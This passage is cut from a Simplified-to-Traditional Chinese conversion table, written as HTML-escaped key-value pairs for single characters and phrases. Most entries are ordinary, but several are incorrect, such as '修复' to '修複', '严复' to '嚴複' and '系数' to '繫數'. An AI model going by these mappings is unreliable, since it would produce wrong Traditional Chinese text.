&#39;魉&#39;: &#39;魎&#39;, &#39;鱼&#39;: &#39;魚&#39;, &#39;鱽&#39;: &#39;魛&#39;, &#39;鱾&#39;: &#39;魢&#39;, &#39;鱿&#39;: &#39;魷&#39;, &#39;鲀&#39;: &#39;魨&#39;, &#39;鲁&#39;: &#39;魯&#39;, &#39;鲂&#39;: &#39;魴&#39;, &#39;鲃&#39;: &#39;䰾&#39;, &#39;鲄&#39;: &#39;魺&#39;, &#39;鲅&#39;: &#39;鮁&#39;, &#39;鲆&#39;: &#39;鮃&#39;, &#39;鲈&#39;: &#39;鱸&#39;, &#39;鲉&#39;: &#39;鮋&#39;, &#39;鲊&#39;: &#39;鮓&#39;, &#39;鲋&#39;: &#39;鮒&#39;, &#39;鲌&#39;: &#39;鮊&#39;, &#39;鲍&#39;: &#39;鮑&#39;, &#39;鲎&#39;: &#39;鱟&#39;, &#39;鲏&#39;: &#39;鮍&#39;, &#39;鲐&#39;: &#39;鮐&#39;, &#39;鲑&#39;: &#39;鮭&#39;, &#39;鲒&#39;: &#39;鮚&#39;, &#39;鲓&#39;: &#39;鮳&#39;, &#39;鲔&#39;: &#39;鮪&#39;, &#39;鲕&#39;: &#39;鮞&#39;, &#39;鲖&#39;: &#39;鮦&#39;, &#39;鲗&#39;: &#39;鰂&#39;, &#39;鲘&#39;: &#39;鮜&#39;, &#39;鲙&#39;: &#39;鱠&#39;, &#39;鲚&#39;: &#39;鱭&#39;, &#39;鲛&#39;: &#39;鮫&#39;, &#39;鲜&#39;: &#39;鮮&#39;, &#39;鲝&#39;: &#39;鮺&#39;, &#39;鲟&#39;: &#39;鱘&#39;, &#39;鲠&#39;: &#39;鯁&#39;, &#39;鲡&#39;: &#39;鱺&#39;, &#39;鲢&#39;: &#39;鰱&#39;, &#39;鲣&#39;: &#39;鰹&#39;, &#39;鲤&#39;: &#39;鯉&#39;, &#39;鲥&#39;: &#39;鰣&#39;, &#39;鲦&#39;: &#39;鰷&#39;, &#39;鲧&#39;: &#39;鯀&#39;, &#39;鲨&#39;: &#39;鯊&#39;, &#39;鲩&#39;: &#39;鯇&#39;, &#39;鲪&#39;: &#39;鮶&#39;, &#39;鲫&#39;: &#39;鯽&#39;, &#39;鲬&#39;: &#39;鯒&#39;, &#39;鲭&#39;: &#39;鯖&#39;, &#39;鲮&#39;: &#39;鯪&#39;, &#39;鲯&#39;: &#39;鯕&#39;, &#39;鲰&#39;: &#39;鯫&#39;, &#39;鲱&#39;: &#39;鯡&#39;, &#39;鲲&#39;: &#39;鯤&#39;, &#39;鲳&#39;: &#39;鯧&#39;, &#39;鲴&#39;: &#39;鯝&#39;, &#39;鲵&#39;: &#39;鯢&#39;, &#39;鲶&#39;: &#39;鯰&#39;, &#39;鲷&#39;: &#39;鯛&#39;, &#39;鲸&#39;: &#39;鯨&#39;, &#39;鲹&#39;: &#39;鰺&#39;, &#39;鲺&#39;: &#39;鯴&#39;, &#39;鲻&#39;: &#39;鯔&#39;, &#39;鲼&#39;: &#39;鱝&#39;, &#39;鲽&#39;: &#39;鰈&#39;, &#39;鲾&#39;: &#39;鰏&#39;, &#39;鲿&#39;: &#39;鱨&#39;, &#39;鳀&#39;: &#39;鯷&#39;, &#39;鳁&#39;: &#39;鰮&#39;, &#39;鳂&#39;: &#39;鰃&#39;, &#39;鳃&#39;: &#39;鰓&#39;, &#39;鳅&#39;: &#39;鰍&#39;, &#39;鳆&#39;: &#39;鰒&#39;, &#39;鳇&#39;: &#39;鰉&#39;, &#39;鳈&#39;: &#39;鰁&#39;, &#39;鳉&#39;: &#39;鱂&#39;, &#39;鳊&#39;: &#39;鯿&#39;, &#39;鳋&#39;: &#39;鰠&#39;, &#39;鳌&#39;: &#39;鰲&#39;, &#39;鳍&#39;: &#39;鰭&#39;, &#39;鳎&#39;: &#39;鰨&#39;, &#39;鳏&#39;: &#39;鰥&#39;, &#39;鳐&#39;: &#39;鰩&#39;, &#39;鳑&#39;: &#39;鰟&#39;, &#39;鳒&#39;: &#39;鰜&#39;, &#39;鳓&#39;: &#39;鰳&#39;, &#39;鳔&#39;: &#39;鰾&#39;, &#39;鳕&#39;: &#39;鱈&#39;, &#39;鳖&#39;: &#39;鱉&#39;, &#39;鳗&#39;: &#39;鰻&#39;, &#39;鳘&#39;: &#39;鰵&#39;, &#39;鳙&#39;: &#39;鱅&#39;, &#39;鳚&#39;: &#39;䲁&#39;, &#39;鳛&#39;: &#39;鰼&#39;, &#39;鳜&#39;: &#39;鱖&#39;, &#39;鳝&#39;: &#39;鱔&#39;, &#39;鳞&#39;: &#39;鱗&#39;, &#39;鳟&#39;: &#39;鱒&#39;, &#39;鳠&#39;: &#39;鱯&#39;, &#39;鳡&#39;: &#39;鱤&#39;, &#39;鳢&#39;: &#39;鱧&#39;, &#39;鳣&#39;: &#39;鱣&#39;, &#39;䴓&#39;: &#39;鳾&#39;, &#39;䴕&#39;: &#39;鴷&#39;, &#39;䴔&#39;: &#39;鵁&#39;, &#39;䴖&#39;: &#39;鶄&#39;, &#39;䴗&#39;: &#39;鶪&#39;, &#39;䴘&#39;: &#39;鷈&#39;, &#39;䴙&#39;: &#39;鷿&#39;, &#39;㶉&#39;: &#39;鸂&#39;, &#39;鸟&#39;: &#39;鳥&#39;, &#39;鸠&#39;: &#39;鳩&#39;, &#39;鸢&#39;: &#39;鳶&#39;, &#39;鸣&#39;: &#39;鳴&#39;, &#39;鸤&#39;: &#39;鳲&#39;, &#39;鸥&#39;: &#39;鷗&#39;, &#39;鸦&#39;: &#39;鴉&#39;, &#39;鸧&#39;: &#39;鶬&#39;, &#39;鸨&#39;: &#39;鴇&#39;, &#39;鸩&#39;: &#39;鴆&#39;, &#39;鸪&#39;: &#39;鴣&#39;, &#39;鸫&#39;: &#39;鶇&#39;, &#39;鸬&#39;: &#39;鸕&#39;, &#39;鸭&#39;: &#39;鴨&#39;, &#39;鸮&#39;: &#39;鴞&#39;, &#39;鸯&#39;: &#39;鴦&#39;, &#39;鸰&#39;: &#39;鴒&#39;, &#39;鸱&#39;: &#39;鴟&#39;, &#39;鸲&#39;: &#39;鴝&#39;, &#39;鸳&#39;: &#39;鴛&#39;, &#39;鸴&#39;: &#39;鷽&#39;, &#39;鸵&#39;: &#39;鴕&#39;, &#39;鸶&#39;: &#39;鷥&#39;, &#39;鸷&#39;: &#39;鷙&#39;, &#39;鸸&#39;: &#39;鴯&#39;, &#39;鸹&#39;: &#39;鴰&#39;, &#39;鸺&#39;: &#39;鵂&#39;, &#39;鸻&#39;: &#39;鴴&#39;, &#39;鸼&#39;: &#39;鵃&#39;, &#39;鸽&#39;: &#39;鴿&#39;, &#39;鸾&#39;: &#39;鸞&#39;, &#39;鸿&#39;: &#39;鴻&#39;, &#39;鹀&#39;: &#39;鵐&#39;, &#39;鹁&#39;: &#39;鵓&#39;, &#39;鹂&#39;: &#39;鸝&#39;, &#39;鹃&#39;: &#39;鵑&#39;, &#39;鹄&#39;: &#39;鵠&#39;, &#39;鹅&#39;: &#39;鵝&#39;, &#39;鹆&#39;: &#39;鵒&#39;, &#39;鹇&#39;: &#39;鷳&#39;, &#39;鹈&#39;: &#39;鵜&#39;, &#39;鹉&#39;: &#39;鵡&#39;, &#39;鹊&#39;: &#39;鵲&#39;, &#39;鹋&#39;: &#39;鶓&#39;, &#39;鹌&#39;: &#39;鵪&#39;, &#39;鹍&#39;: &#39;鵾&#39;, &#39;鹎&#39;: &#39;鵯&#39;, &#39;鹏&#39;: &#39;鵬&#39;, &#39;鹐&#39;: &#39;鵮&#39;, &#39;鹑&#39;: &#39;鶉&#39;, &#39;鹒&#39;: &#39;鶊&#39;, &#39;鹓&#39;: &#39;鵷&#39;, &#39;鹔&#39;: &#39;鷫&#39;, &#39;鹕&#39;: &#39;鶘&#39;, &#39;鹖&#39;: &#39;鶡&#39;, &#39;鹗&#39;: &#39;鶚&#39;, &#39;鹘&#39;: &#39;鶻&#39;, &#39;鹙&#39;: &#39;鶖&#39;, &#39;鹛&#39;: &#39;鶥&#39;, &#39;鹜&#39;: &#39;鶩&#39;, &#39;鹝&#39;: &#39;鷊&#39;, &#39;鹞&#39;: &#39;鷂&#39;, &#39;鹟&#39;: &#39;鶲&#39;, &#39;鹠&#39;: &#39;鶹&#39;, &#39;鹡&#39;: &#39;鶺&#39;, &#39;鹢&#39;: &#39;鷁&#39;, &#39;鹣&#39;: &#39;鶼&#39;, &#39;鹤&#39;: &#39;鶴&#39;, &#39;鹥&#39;: &#39;鷖&#39;, &#39;鹦&#39;: &#39;鸚&#39;, &#39;鹧&#39;: &#39;鷓&#39;, &#39;鹨&#39;: &#39;鷚&#39;, &#39;鹩&#39;: &#39;鷯&#39;, &#39;鹪&#39;: &#39;鷦&#39;, &#39;鹫&#39;: &#39;鷲&#39;, &#39;鹬&#39;: &#39;鷸&#39;, &#39;鹭&#39;: &#39;鷺&#39;, &#39;鹯&#39;: &#39;鸇&#39;, &#39;鹰&#39;: &#39;鷹&#39;, &#39;鹱&#39;: &#39;鸌&#39;, &#39;鹲&#39;: &#39;鸏&#39;, &#39;鹳&#39;: &#39;鸛&#39;, &#39;鹴&#39;: &#39;鸘&#39;, &#39;鹾&#39;: &#39;鹺&#39;, &#39;麦&#39;: &#39;麥&#39;, &#39;麸&#39;: &#39;麩&#39;, &#39;黄&#39;: &#39;黃&#39;, &#39;黉&#39;: &#39;黌&#39;, &#39;黡&#39;: &#39;黶&#39;, &#39;黩&#39;: &#39;黷&#39;, &#39;黪&#39;: &#39;黲&#39;, &#39;黾&#39;: &#39;黽&#39;, &#39;鼋&#39;: &#39;黿&#39;, &#39;鼍&#39;: &#39;鼉&#39;, &#39;鼗&#39;: &#39;鞀&#39;, &#39;鼹&#39;: &#39;鼴&#39;, &#39;齐&#39;: &#39;齊&#39;, &#39;齑&#39;: &#39;齏&#39;, &#39;齿&#39;: &#39;齒&#39;, &#39;龀&#39;: &#39;齔&#39;, &#39;龁&#39;: &#39;齕&#39;, &#39;龂&#39;: &#39;齗&#39;, &#39;龃&#39;: &#39;齟&#39;, &#39;龄&#39;: &#39;齡&#39;, &#39;龅&#39;: &#39;齙&#39;, &#39;龆&#39;: &#39;齠&#39;, &#39;龇&#39;: &#39;齜&#39;, &#39;龈&#39;: &#39;齦&#39;, &#39;龉&#39;: &#39;齬&#39;, &#39;龊&#39;: &#39;齪&#39;, &#39;龋&#39;: &#39;齲&#39;, &#39;龌&#39;: &#39;齷&#39;, &#39;龚&#39;: &#39;龔&#39;, &#39;龛&#39;: &#39;龕&#39;, &#39;龟&#39;: &#39;龜&#39;, &#39;一伙&#39;: &#39;一伙&#39;, &#39;一并&#39;: &#39;一併&#39;, &#39;一准&#39;: &#39;一准&#39;, &#39;一划&#39;: &#39;一划&#39;, &#39;一地里&#39;: &#39;一地裡&#39;, &#39;一干&#39;: &#39;一干&#39;, &#39;一树百获&#39;: &#39;一樹百穫&#39;, &#39;一台&#39;: &#39;一臺&#39;, &#39;一冲&#39;: &#39;一衝&#39;, &#39;一只&#39;: &#39;一隻&#39;, &#39;一发千钧&#39;: &#39;一髮千鈞&#39;, &#39;一出&#39;: &#39;一齣&#39;, &#39;七只&#39;: &#39;七隻&#39;, &#39;三元里&#39;: &#39;三元裡&#39;, &#39;三国志&#39;: &#39;三國誌&#39;, &#39;三复&#39;: &#39;三複&#39;, &#39;三只&#39;: &#39;三隻&#39;, &#39;上吊&#39;: &#39;上吊&#39;, &#39;上台&#39;: &#39;上臺&#39;, &#39;下不了台&#39;: &#39;下不了臺&#39;, &#39;下台&#39;: &#39;下臺&#39;, &#39;下面&#39;: &#39;下麵&#39;, &#39;不准&#39;: &#39;不准&#39;, &#39;不吊&#39;: &#39;不吊&#39;, &#39;不知就里&#39;: &#39;不知就裡&#39;, &#39;不知所云&#39;: &#39;不知所云&#39;, &#39;不锈钢&#39;: &#39;不鏽鋼&#39;, &#39;丑剧&#39;: &#39;丑劇&#39;, &#39;丑旦&#39;: &#39;丑旦&#39;, &#39;丑角&#39;: &#39;丑角&#39;, &#39;并存着&#39;: &#39;並存著&#39;, &#39;中岳&#39;: &#39;中嶽&#39;, &#39;中台医专&#39;: &#39;中臺醫專&#39;, &#39;丰南&#39;: &#39;丰南&#39;, &#39;丰台&#39;: &#39;丰台&#39;, &#39;丰姿&#39;: &#39;丰姿&#39;, &#39;丰采&#39;: &#39;豐采&#39;, &#39;丰韵&#39;: &#39;丰韻&#39;, &#39;主干&#39;: &#39;主幹&#39;, &#39;么么唱唱&#39;: &#39;么么唱唱&#39;, &#39;么儿&#39;: &#39;么兒&#39;, &#39;么喝&#39;: &#39;么喝&#39;, &#39;么妹&#39;: &#39;么妹&#39;, &#39;么弟&#39;: &#39;么弟&#39;, &#39;么爷&#39;: &#39;么爺&#39;, &#39;九世之雠&#39;: &#39;九世之讎&#39;, &#39;九只&#39;: &#39;九隻&#39;, &#39;干丝&#39;: &#39;乾絲&#39;, &#39;干着急&#39;: &#39;干著急&#39;, &#39;乱发&#39;: &#39;亂髮&#39;, &#39;云云&#39;: &#39;云云&#39;, &#39;云尔&#39;: &#39;云爾&#39;, &#39;五岳&#39;: &#39;五嶽&#39;, &#39;五斗柜&#39;: &#39;五斗櫃&#39;, &#39;五斗橱&#39;: &#39;五斗櫥&#39;, &#39;五谷&#39;: &#39;五穀&#39;, &#39;五行生克&#39;: &#39;五行生剋&#39;, &#39;五只&#39;: &#39;五隻&#39;, &#39;五出&#39;: &#39;五齣&#39;, &#39;交卷&#39;: &#39;交卷&#39;, &#39;人云亦云&#39;: &#39;人云亦云&#39;, &#39;人物志&#39;: &#39;人物誌&#39;, &#39;什锦面&#39;: &#39;什錦麵&#39;, &#39;什么&#39;: &#39;什麼&#39;, &#39;仆倒&#39;: &#39;仆倒&#39;, &#39;介系词&#39;: &#39;介繫詞&#39;, &#39;仿制&#39;: &#39;仿製&#39;, &#39;伙伕&#39;: &#39;伙伕&#39;, &#39;伙伴&#39;: &#39;伙伴&#39;, &#39;伙同&#39;: &#39;伙同&#39;, &#39;伙夫&#39;: &#39;伙夫&#39;, &#39;伙房&#39;: &#39;伙房&#39;, &#39;伙计&#39;: &#39;伙計&#39;, &#39;伙食&#39;: &#39;伙食&#39;, &#39;布下&#39;: &#39;佈下&#39;, &#39;布告&#39;: &#39;佈告&#39;, &#39;布哨&#39;: &#39;佈哨&#39;, &#39;布局&#39;: &#39;佈局&#39;, &#39;布岗&#39;: &#39;佈崗&#39;, &#39;布施&#39;: &#39;佈施&#39;, &#39;布景&#39;: &#39;佈景&#39;, &#39;布满&#39;: &#39;佈滿&#39;, &#39;布线&#39;: &#39;佈線&#39;, &#39;布置&#39;: &#39;佈置&#39;, &#39;布署&#39;: &#39;佈署&#39;, &#39;布道&#39;: &#39;佈道&#39;, &#39;布达&#39;: &#39;佈達&#39;, &#39;布防&#39;: &#39;佈防&#39;, &#39;布阵&#39;: &#39;佈陣&#39;, &#39;布雷&#39;: &#39;佈雷&#39;, &#39;体育锻鍊&#39;: &#39;体育鍛鍊&#39;, &#39;何干&#39;: &#39;何干&#39;, &#39;作准&#39;: &#39;作准&#39;, &#39;佣人&#39;: &#39;佣人&#39;, &#39;佣工&#39;: &#39;佣工&#39;, &#39;佣金&#39;: &#39;佣金&#39;, &#39;并入&#39;: &#39;併入&#39;, &#39;并列&#39;: &#39;併列&#39;, &#39;并到&#39;: &#39;併到&#39;, &#39;并合&#39;: &#39;併合&#39;, &#39;并吞&#39;: &#39;併吞&#39;, &#39;并在&#39;: &#39;併在&#39;, &#39;并成&#39;: &#39;併成&#39;, &#39;并排&#39;: &#39;併排&#39;, &#39;并拢&#39;: &#39;併攏&#39;, &#39;并案&#39;: &#39;併案&#39;, &#39;并为&#39;: &#39;併為&#39;, &#39;并发&#39;: &#39;併發&#39;, &#39;并科&#39;: &#39;併科&#39;, &#39;并购&#39;: &#39;併購&#39;, &#39;并进&#39;: &#39;併進&#39;, &#39;来复&#39;: &#39;來複&#39;, &#39;供制&#39;: &#39;供製&#39;, &#39;依依不舍&#39;: &#39;依依不捨&#39;, &#39;侵并&#39;: &#39;侵併&#39;, &#39;便辟&#39;: &#39;便辟&#39;, &#39;系数&#39;: &#39;繫數&#39;, &#39;系为&#39;: &#39;係為&#39;, &#39;保险柜&#39;: &#39;保險柜&#39;, &#39;信号台&#39;: &#39;信號臺&#39;, &#39;修复&#39;: &#39;修複&#39;, &#39;修胡刀&#39;: &#39;修鬍刀&#39;, &#39;俯冲&#39;: &#39;俯衝&#39;, &#39;个里&#39;: &#39;個裡&#39;, &#39;借着&#39;: &#39;藉著&#39;, &#39;假发&#39;: &#39;假髮&#39;, &#39;停制&#39;: &#39;停製&#39;, &#39;偷鸡不着&#39;: &#39;偷雞不著&#39;, &#39;家伙&#39;: &#39;家伙&#39;, &#39;家俱&#39;: &#39;傢俱&#39;, &#39;家具&#39;: &#39;傢具&#39;, &#39;传布&#39;: &#39;傳佈&#39;, &#39;债台高筑&#39;: &#39;債臺高築&#39;, &#39;傻里傻气&#39;: &#39;傻裡傻氣&#39;, &#39;倾家荡产&#39;: &#39;傾家蕩產&#39;, &#39;倾复&#39;: &#39;傾覆&#39;, &#39;僱佣&#39;: &#39;僱佣&#39;, &#39;仪表&#39;: &#39;儀錶&#39;, &#39;亿只&#39;: &#39;億隻&#39;, &#39;尽尽&#39;: &#39;儘儘&#39;, &#39;尽先&#39;: &#39;儘先&#39;, &#39;尽其所有&#39;: &#39;儘其所有&#39;, &#39;尽力&#39;: &#39;儘力&#39;, &#39;尽快&#39;: &#39;儘快&#39;, &#39;尽早&#39;: &#39;儘早&#39;, &#39;尽是&#39;: &#39;儘是&#39;, &#39;尽管&#39;: &#39;儘管&#39;, &#39;尽速&#39;: &#39;儘速&#39;, &#39;尽量&#39;: &#39;儘量&#39;, &#39;允准&#39;: &#39;允准&#39;, &#39;兄台&#39;: &#39;兄臺&#39;, &#39;充饥&#39;: &#39;充饑&#39;, &#39;光采&#39;: &#39;光采&#39;, &#39;克里&#39;: &#39;克裡&#39;, &#39;克复&#39;: &#39;克複&#39;, &#39;入伙&#39;: &#39;入伙&#39;, &#39;内制&#39;: &#39;內製&#39;, &#39;两只&#39;: &#39;兩隻&#39;, &#39;八字胡&#39;: &#39;八字鬍&#39;, &#39;八只&#39;: &#39;八隻&#39;, &#39;公布&#39;: &#39;公佈&#39;, &#39;公干&#39;: &#39;公幹&#39;, &#39;公斗&#39;: &#39;公斗&#39;, &#39;公历&#39;: &#39;公曆&#39;, &#39;六只&#39;: &#39;六隻&#39;, &#39;六出&#39;: &#39;六齣&#39;, &#39;兼并&#39;: &#39;兼併&#39;, &#39;冤雠&#39;: &#39;冤讎&#39;, &#39;准予&#39;: &#39;准予&#39;, &#39;准假&#39;: &#39;准假&#39;, &#39;准将&#39;: &#39;准將&#39;, &#39;准考证&#39;: &#39;准考證&#39;, &#39;准许&#39;: &#39;准許&#39;, &#39;几几&#39;: &#39;几几&#39;, &#39;几案&#39;: &#39;几案&#39;, &#39;几丝&#39;: &#39;幾絲&#39;, &#39;凹洞里&#39;: &#39;凹洞裡&#39;, &#39;出征&#39;: &#39;出征&#39;, &#39;出锤&#39;: &#39;出鎚&#39;, &#39;刀削面&#39;: &#39;刀削麵&#39;, &#39;刁斗&#39;: &#39;刁斗&#39;, &#39;分布&#39;: &#39;分佈&#39;, &#39;切面&#39;: &#39;切麵&#39;, &#39;刊布&#39;: &#39;刊佈&#39;, &#39;划上&#39;: &#39;划上&#39;, &#39;划下&#39;: &#39;划下&#39;, &#39;划不来&#39;: &#39;划不來&#39;, &#39;划了&#39;: &#39;划了&#39;, &#39;划具&#39;: &#39;划具&#39;, &#39;划出&#39;: &#39;划出&#39;, &#39;划到&#39;: &#39;划到&#39;, &#39;划动&#39;: &#39;划動&#39;, &#39;划去&#39;: &#39;划去&#39;, &#39;划子&#39;: &#39;划子&#39;, &#39;划得来&#39;: &#39;划得來&#39;, &#39;划拳&#39;: &#39;划拳&#39;, &#39;划桨&#39;: &#39;划槳&#39;, &#39;划水&#39;: &#39;划水&#39;, &#39;划算&#39;: &#39;划算&#39;, &#39;划船&#39;: &#39;划船&#39;, &#39;划艇&#39;: &#39;划艇&#39;, &#39;划着&#39;: &#39;划著&#39;, &#39;划着走&#39;: &#39;划著走&#39;, &#39;划行&#39;: &#39;划行&#39;, &#39;划走&#39;: &#39;划走&#39;, &#39;划起&#39;: &#39;划起&#39;, &#39;划进&#39;: &#39;划進&#39;, &#39;划过&#39;: &#39;划過&#39;, &#39;初征&#39;: &#39;初征&#39;, &#39;别致&#39;: &#39;別緻&#39;, &#39;别着&#39;: &#39;彆著&#39;, &#39;别只&#39;: &#39;別隻&#39;, &#39;利比里亚&#39;: &#39;利比裡亞&#39;, &#39;刮着&#39;: &#39;颳著&#39;, &#39;刮胡刀&#39;: &#39;刮鬍刀&#39;, &#39;剃发&#39;: &#39;剃髮&#39;, &#39;剃须&#39;: &#39;剃鬚&#39;, &#39;削发&#39;: &#39;削髮&#39;, &#39;克制&#39;: &#39;剋制&#39;, &#39;克星&#39;: &#39;剋星&#39;, &#39;克服&#39;: &#39;剋服&#39;, &#39;克死&#39;: &#39;剋死&#39;, &#39;克薄&#39;: &#39;剋薄&#39;, &#39;前仆后继&#39;: &#39;前仆後繼&#39;, &#39;前台&#39;: &#39;前臺&#39;, &#39;前车之复&#39;: &#39;前車之覆&#39;, &#39;刚才&#39;: &#39;剛纔&#39;, &#39;剪发&#39;: &#39;剪髮&#39;, &#39;割舍&#39;: &#39;割捨&#39;, &#39;创制&#39;: &#39;創製&#39;, &#39;加里宁&#39;: &#39;加裡寧&#39;, &#39;动荡&#39;: &#39;動蕩&#39;, &#39;劳力士表&#39;: &#39;勞力士錶&#39;, &#39;包准&#39;: &#39;包准&#39;, &#39;包谷&#39;: &#39;包穀&#39;, &#39;北斗&#39;: &#39;北斗&#39;, &#39;北回&#39;: &#39;北迴&#39;, &#39;匡复&#39;: &#39;匡複&#39;, &#39;匪干&#39;: &#39;匪幹&#39;, &#39;十卷&#39;: &#39;十卷&#39;, &#39;十台&#39;: &#39;十臺&#39;, &#39;十只&#39;: &#39;十隻&#39;, &#39;十出&#39;: &#39;十齣&#39;, &#39;千丝万缕&#39;: &#39;千絲萬縷&#39;, &#39;千回百折&#39;: &#39;千迴百折&#39;, &#39;千回百转&#39;: &#39;千迴百轉&#39;, &#39;千钧一发&#39;: &#39;千鈞一髮&#39;, &#39;千只&#39;: &#39;千隻&#39;, &#39;升斗小民&#39;: &#39;升斗小民&#39;, &#39;半只&#39;: &#39;半隻&#39;, &#39;南岳&#39;: &#39;南嶽&#39;, &#39;南征&#39;: &#39;南征&#39;, &#39;南台&#39;: &#39;南臺&#39;, &#39;南回&#39;: &#39;南迴&#39;, &#39;卡里&#39;: &#39;卡裡&#39;, &#39;印制&#39;: &#39;印製&#39;, &#39;卷入&#39;: &#39;卷入&#39;, &#39;卷取&#39;: &#39;卷取&#39;, &#39;卷土重来&#39;: &#39;卷土重來&#39;, &#39;卷子&#39;: &#39;卷子&#39;, &#39;卷宗&#39;: &#39;卷宗&#39;, &#39;卷尺&#39;: &#39;卷尺&#39;, &#39;卷层云&#39;: &#39;卷層雲&#39;, &#39;卷帙&#39;: &#39;卷帙&#39;, &#39;卷扬机&#39;: &#39;卷揚機&#39;, &#39;卷曲&#39;: &#39;卷曲&#39;, &#39;卷染&#39;: &#39;卷染&#39;, &#39;卷烟&#39;: &#39;卷煙&#39;, &#39;卷筒&#39;: &#39;卷筒&#39;, &#39;卷纬&#39;: &#39;卷緯&#39;, &#39;卷绕&#39;: &#39;卷繞&#39;, &#39;卷装&#39;: &#39;卷裝&#39;, &#39;卷轴&#39;: &#39;卷軸&#39;, &#39;卷云&#39;: &#39;卷雲&#39;, &#39;卷领&#39;: &#39;卷領&#39;, &#39;卷发&#39;: &#39;卷髮&#39;, &#39;卷须&#39;: &#39;卷鬚&#39;, &#39;参与&#39;: &#39;參與&#39;, &#39;参与者&#39;: &#39;參與者&#39;, &#39;参合&#39;: &#39;參合&#39;, &#39;参考价值&#39;: &#39;參考價值&#39;, &#39;参与人员&#39;: &#39;參與人員&#39;, &#39;参与制&#39;: &#39;參與制&#39;, &#39;参与感&#39;: &#39;參與感&#39;, &#39;参观团&#39;: &#39;參觀團&#39;, &#39;参观团体&#39;: &#39;參觀團體&#39;, &#39;参阅&#39;: &#39;參閱&#39;, &#39;反冲&#39;: &#39;反衝&#39;, &#39;反复&#39;: &#39;反覆&#39;, &#39;取舍&#39;: &#39;取捨&#39;, &#39;口里&#39;: &#39;口裡&#39;, &#39;只准&#39;: &#39;只准&#39;, &#39;只冲&#39;: &#39;只衝&#39;, &#39;叮当&#39;: &#39;叮噹&#39;, &#39;可怜虫&#39;: &#39;可憐虫&#39;, &#39;可紧可松&#39;: &#39;可緊可鬆&#39;, &#39;台制&#39;: &#39;台製&#39;, &#39;司令台&#39;: &#39;司令臺&#39;, &#39;吃着不尽&#39;: &#39;吃著不盡&#39;, &#39;吃里扒外&#39;: &#39;吃裡扒外&#39;, &#39;吃里爬外&#39;: &#39;吃裡爬外&#39;, &#39;各吊&#39;: &#39;各吊&#39;, &#39;合伙&#39;: &#39;合伙&#39;, &#39;合并&#39;: &#39;合併&#39;, &#39;合着&#39;: &#39;合著&#39;, &#39;合着者&#39;: &#39;合著者&#39;, &#39;吊上&#39;: &#39;吊上&#39;, &#39;吊下&#39;: &#39;吊下&#39;, &#39;吊了&#39;: &#39;吊了&#39;, &#39;吊个&#39;: &#39;吊個&#39;, &#39;吊儿郎当&#39;: &#39;吊兒郎當&#39;, &#39;吊到&#39;: &#39;吊到&#39;, &#39;吊去&#39;: &#39;吊去&#39;, &#39;吊取&#39;: &#39;吊取&#39;, &#39;吊吊&#39;: &#39;吊吊&#39;, &#39;吊嗓&#39;: &#39;吊嗓&#39;, &#39;吊好&#39;: &#39;吊好&#39;, &#39;吊子&#39;: &#39;吊子&#39;, &#39;吊带&#39;: &#39;吊帶&#39;, &#39;吊带裤&#39;: &#39;吊帶褲&#39;, &#39;吊床&#39;: &#39;吊床&#39;, &#39;吊得&#39;: &#39;吊得&#39;, &#39;吊挂&#39;: &#39;吊掛&#39;, &#39;吊挂着&#39;: &#39;吊掛著&#39;, &#39;吊杆&#39;: &#39;吊桿&#39;, &#39;吊架&#39;: &#39;吊架&#39;, &#39;吊桶&#39;: &#39;吊桶&#39;, &#39;吊桥&#39;: &#39;吊橋&#39;, &#39;吊死&#39;: &#39;吊死&#39;, &#39;吊灯&#39;: &#39;吊燈&#39;, &#39;吊环&#39;: &#39;吊環&#39;, &#39;吊盘&#39;: &#39;吊盤&#39;, &#39;吊索&#39;: &#39;吊索&#39;, &#39;吊着&#39;: &#39;吊著&#39;, &#39;吊装&#39;: &#39;吊裝&#39;, &#39;吊裤&#39;: &#39;吊褲&#39;, &#39;吊裤带&#39;: &#39;吊褲帶&#39;, &#39;吊袜&#39;: &#39;吊襪&#39;, &#39;吊走&#39;: &#39;吊走&#39;, &#39;吊起&#39;: &#39;吊起&#39;, &#39;吊车&#39;: &#39;吊車&#39;, &#39;吊钩&#39;: &#39;吊鉤&#39;, &#39;吊销&#39;: &#39;吊銷&#39;, &#39;吊钟&#39;: &#39;吊鐘&#39;, &#39;同伙&#39;: &#39;同伙&#39;, &#39;名表&#39;: &#39;名錶&#39;, &#39;后冠&#39;: &#39;后冠&#39;, &#39;后土&#39;: &#39;后土&#39;, &#39;后妃&#39;: &#39;后妃&#39;, &#39;后座&#39;: &#39;后座&#39;, &#39;后稷&#39;: &#39;后稷&#39;, &#39;后羿&#39;: &#39;后羿&#39;, &#39;后里&#39;: &#39;后里&#39;, &#39;向着&#39;: &#39;向著&#39;, &#39;吞并&#39;: &#39;吞併&#39;, &#39;吹发&#39;: &#39;吹髮&#39;, &#39;吕后&#39;: &#39;呂后&#39;, &#39;獃里獃气&#39;: &#39;呆裡呆氣&#39;, &#39;周而复始&#39;: &#39;周而複始&#39;, &#39;呼吁&#39;: &#39;呼籲&#39;, &#39;和面&#39;: &#39;和麵&#39;, &#39;哪里&#39;: &#39;哪裡&#39;, &#39;哭脏&#39;: &#39;哭髒&#39;, &#39;问卷&#39;: &#39;問卷&#39;, &#39;喝采&#39;: &#39;喝采&#39;, &#39;单干&#39;: &#39;單干&#39;, &#39;单只&#39;: &#39;單隻&#39;, &#39;嘴里&#39;: &#39;嘴裡&#39;, &#39;恶心&#39;: &#39;噁心&#39;, &#39;当啷&#39;: &#39;噹啷&#39;, &#39;当当&#39;: &#39;噹噹&#39;, &#39;噜苏&#39;: &#39;嚕囌&#39;, &#39;向导&#39;: &#39;嚮導&#39;, &#39;向往&#39;: &#39;嚮往&#39;, &#39;向应&#39;: &#39;嚮應&#39;, &#39;向日&#39;: &#39;嚮日&#39;, &#39;向迩&#39;: &#39;嚮邇&#39;, &#39;严丝合缝&#39;: &#39;嚴絲合縫&#39;, &#39;严复&#39;: &#39;嚴複&#39;, &#39;四舍五入&#39;: &#39;四捨五入&#39;, &#39;四只&#39;: &#39;四隻&#39;, &#39;四出&#39;: &#39;四齣&#39;, &#39;回丝&#39;: &#39;回絲&#39;, &#39;回着&#39;: &#39;回著&#39;, &#39;回荡&#39;: &#39;迴蕩&#39;, &#39;回复&#39;: &#39;回覆&#39;, &#39;回采&#39;: &#39;回采&#39;, &#39;圈子里&#39;: &#39;圈子裡&#39;, &#39;圈里&#39;: &#39;圈裡&#39;, &#39;国历&#39;: &#39;國曆&#39;, &#39;国雠&#39;: &#39;國讎&#39;, &#39;园里&#39;: &#39;園裡&#39;, &#39;图里&#39;: &#39;圖裡&#39;, &#39;土里&#39;: &#39;土裡&#39;, &#39;土制&#39;: &#39;土製&#39;, 